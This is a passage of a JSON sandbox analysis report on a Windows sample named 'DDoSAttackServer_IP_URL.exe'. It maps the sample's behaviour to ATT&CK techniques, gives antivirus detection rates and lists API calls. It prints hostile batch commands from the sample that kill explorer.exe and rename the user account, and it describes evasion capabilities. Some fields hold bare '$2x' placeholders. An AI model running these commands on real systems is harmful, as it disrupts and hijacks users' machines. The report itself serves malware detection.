Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"malicious","value":"Shutdown/reboot a Windows system"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Calls an API typically used to set the date and time of the file"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"malicious","value":"PE file contains executable resources"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Calls an API typically used to enumerate device information"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]}],"sandbox_signatures":[{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://schemas.microsoft.com/winfx/2006/xaml\"\n Pattern match: \"http://schemas.openxmlformats.org/markup-compatibility/2006\"\n Pattern match: \"http://schemas.microsoft.com/SMI/2005/WindowsSettings\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5cb4059f0388387297dd495b"},{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"4a900b344ef765a66f98cf39ac06273d565ca0f5d19f7ea4ca183786155d4a47.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5cb4059f0388387297dd495b"},{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"The input sample contains an embedded RTF document","description":"\"4a900b344ef765a66f98cf39ac06273d565ca0f5d19f7ea4ca183786155d4a47.bin\" has an embedded RTF document (Line: 160; Offset: 6434106)","origin":"Binary File","mitre_attack_id":"T1173","relevance":10,"id":"binary-3","sources":[{"report_type":"sandbox","report_id":"5cb4059f0388387297dd495b"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"24/65 Antivirus vendors marked sample as malicious (36% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5cb4059f0388387297dd495b"},{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"24/65 Antivirus vendors marked sample as malicious (36% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5cb4059f0388387297dd495b"},{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"DDoSAttackServer_IP_URL.exe\" called \"FindResourceW\" with parameter \"108\" - (UID: 00000000-00000944)\n \"DDoSAttackServer_IP_URL.exe\" called \"FindResourceW\" with parameter \"109\" - (UID: 00000000-00000944)\n \"DDoSAttackServer_IP_URL.exe\" called \"FindResourceW\" with parameter \"110\" - (UID: 00000000-00000944)\n \"DDoSAttackServer_IP_URL.exe\" called \"FindResourceW\" with parameter \"111\" - (UID: 00000000-00000944)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"DDoSAttackServer_IP_URL.exe\" called \"LoadResource with parameter {'hModule': '1819869184', 'hResInfo': '1821353056'}\" (UID: 00000000-00000944)\n \"DDoSAttackServer_IP_URL.exe\" called \"LoadResource with parameter {'hModule': '1819869184', 'hResInfo': '1821353072'}\" (UID: 00000000-00000944)\n \"DDoSAttackServer_IP_URL.exe\" called \"LoadResource with parameter {'hModule': '1819869184', 'hResInfo': '1821353088'}\" (UID: 00000000-00000944)\n \"DDoSAttackServer_IP_URL.exe\" called \"LoadResource with parameter {'hModule': '1819869184', 'hResInfo': '1821353104'}\" (UID: 00000000-00000944)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability execute applications in hidden mode (Dotnet)","description":"Observed Namespace \"System.Diagnostics.ProcessStartInfo\" and MemberReference \"set_CreateNoWindow\" in \"DDoS Attack Server_ IP_ URL.bin\"","origin":"Static Parser","mitre_attack_id":"T1564.003","relevance":1,"id":"static-161","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"MsgWaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"TrySetTimer\" (Indicator: \"SetTimer\"; Source: \"00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; File: \"DDoS Attack Server_ IP_ URL.bin\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00000944.00000000.70531.03650000.00000004.mdmp, 00000000-00000944.00000001.72452.03650000.00000004.mdmp, 00000000-00000944.00000002.74369.03650000.00000004.mdmp\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$27","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file resource with suspicious entropy","description":"DDoS Attack Server_ IP_ URL.bin has big resource with name: \"subox\" size: \"78336\" and abnormal entropy:\"6.3995926421\"\n DDoS Attack Server_ IP_ URL.bin has big resource with name: \"street\" size: \"83233\" and abnormal entropy:\"7.05371030442\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00000944.00000000.70531.00B00000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000944.00000001.72452.00B00000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000944.00000002.74369.00B00000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006612.00000000.72705.01210000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007096.00000000.74192.01210000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\DISPLAY1; Source: \"00000000-00000944.00000001.72452.012E7000.00000004.mdmp, 00000000-00000944.00000002.74369.012F2000.00000004.mdmp\")\n Found string - \\\\.\\DISPLAY1; Source: \"00000000-00000944.00000001.72452.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.088F0000.00000004.mdmp, 00000000-00000944.00000001.72452.089DC000.00000004.mdmp, 00000000-00000944.00000001.72452.0BD20000.00000004.mdmp, 00000000-00000944.00000001.72452.0BD34000.00000004.mdmp, 00000000-00000944.00000001.72452.16BE8000.00000004.mdmp, 00000000-00000944.00000002.74369.088F0000.00000004.mdmp, 00000000-00000944.00000002.74369.089DC000.00000004.mdmp, 00000000-00000944.00000002.74369.0BD20000.00000004.mdmp, 00000000-00000944.00000002.74369.0BE39000.00000004.mdmp, 00000000-00000944.00000002.74369.16BF1000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$28","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"Uses RsaCryptoServiceProvider to encrypt and decrypt\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found string \"description=\"Uses RsaCryptoServiceProvider to encrypt and decrypt\"\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically to import cryptographic keys into a CSP\n Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm\n Matched sigs: Contains ability to perform encryption (API string)\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URL in binary/memory","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"DDoSAttackServer_IP_URL.exe\" called \"IsWow64Process\" with parameter \"944\" - (UID: 00000000-00000944)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"taskkill.exe\" called \"EnumWindows\" with parameter \"14679576\" - (UID: 00000000-00002624)\n \"taskkill.exe\" called \"EnumWindows\" with parameter \"10024952\" - (UID: 00000000-00003940)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"$29","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"DDoSAttackServer_IP_URL.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000944)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"DDoSAttackServer_IP_URL.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f02300000200000000006f006e0000005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e00660069006700050000056ae10000a82d6603081966032e0063006f006e0066006900670000006c006c00 (UID: 00000000-00000944)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"DDoSAttackServer_IP_URL.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00000944)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"file/memory contains long string with (Indicator: \"\"set \"; File: \"windl.bat\")\n Found string \"SET /a cr=0\" (Indicator: \"set \"; File: \"windl.bat\")\n Found string \"SET /a cr=%cr%+1\" (Indicator: \"set \"; File: \"windl.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetNativeSystemInfo\" (Indicator: \"GetNativeSystemInfo\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"DllGetVersion\" (Indicator: \"GetVersion\"; File: \"rniw.exe.353619882\")\n Found reference to API \"DllGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"file/memory contains long string with (Indicator: \"%username%\"; File: \"windl.bat\")\n Found string \"wmic useraccount where name='%username%' set FullName='UR NEXT'\" (Indicator: \"%username%\"; File: \"windl.bat\")\n Found string \"wmic useraccount where name='%username%' rename 'UR NEXT'\" (Indicator: \"%username%\"; File: \"windl.bat\")\n Found string \"wmic useraccount where name='%username%' set FullName='UR NEXT'\" (Indicator: \"%username%\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")\n Found string \"wmic useraccount where name='%username%' rename 'UR NEXT'\" (Indicator: \"%username%\"; Source: \"00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"taskkill.exe\" issued a query \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = \"explorer.exe\")\"\n \"taskkill.exe\" issued a query \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = \"taskmgr.exe\")\"\n \"WMIC.exe\" issued a query \"SELECT * FROM Win32_UserAccount WHERE name='HAPUBWS'\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"DDoSAttackServer_IP_URL.exe\" queries volume information of \"C:\\\" at 00000000-00000944-00000C15-78245000\n \"DDoSAttackServer_IP_URL.exe\" queries volume information of \"C:\\\" at 00000000-00000944-00000C15-78414580","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"DDoSAttackServer_IP_URL.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"taskkill.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"DDoSAttackServer_IP_URL.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64c99f98496c480bc802a4c0"},{"report_type":"sandbox","report_id":"65708f7749e89eb83f018aaa"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"DDoSAttackServer_IP_URL.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\windl.bat\"\" - (UID: 00000000-00000944)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"taskkill /f /im explorer.exe\" - (UID: 00000000-00005988)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"wmic useraccount where name='%OSUSER%' set FullName='UR NEXT'\" - (UID: 00000000-00005988)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"wmic useraccount where name='%OSUSER%' rename 'UR NEXT'\" - (UID: 00000000-00005988)","origin":"API 